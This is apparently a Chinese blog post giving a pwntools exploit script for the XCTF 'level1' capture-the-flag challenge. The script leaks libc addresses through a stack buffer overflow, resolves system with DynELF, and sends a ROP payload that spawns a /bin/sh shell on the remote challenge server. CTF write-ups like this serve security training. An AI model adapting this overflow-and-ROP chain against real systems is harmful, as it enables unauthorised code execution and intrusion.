xctf攻防世界_level1——本地和远程程序不一样

#-*-coding:utf-8 -*-
import pwn
from pwn import *
#pwn.context.log_level = 'debug'

#context(arch = 'i386', os = 'linux')
#shellcode = asm(shellcraft.sh())#用函数shellcraft.sh()直接生成shellcode
#asm
#io = process('./level1')
io = remote('111.198.29.45', 52614)

elf=ELF('./level1')

write_plt=elf.symbols['write']
write_got=elf.got['write']
read_plt=elf.symbols['read']
bss=elf.bss()
start=0x08048380
main=0x080484B7 
def leak(address):
	payload='a'*(0x88+4)+p32(write_plt)+p32(start)+p32(1)+p32(address)+p32(4)
	#io.recvuntil("?\n") #本地和远程有区别,请注意这里!
	io.send(payload)
	leaked=io.recv(4)
	print "[%s] -> [%s] = [%s]" % (hex(address),hex(u32(leaked)),repr(leaked))
	return leaked
d=pwn.DynELF(leak,elf=ELF('./level1'))
system=d.lookup('system','libc')
print hex(system)
print
print hex(bss)
payload2='a'*(0x88+4)+p32(read_plt)+p32(0x08048549)+p32(0)+p32(bss)+p32(8)

payload2+=p32(system)+p32(0xdeadbeef)+p32(bss)
raw_input()
io.sendline(payload2)

io.send('/bin/sh\x00')

io.interactive()

本来是个简单的题(程序给出了buf地址),但是远程程序不一样,直接变成了无libc的PWN。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值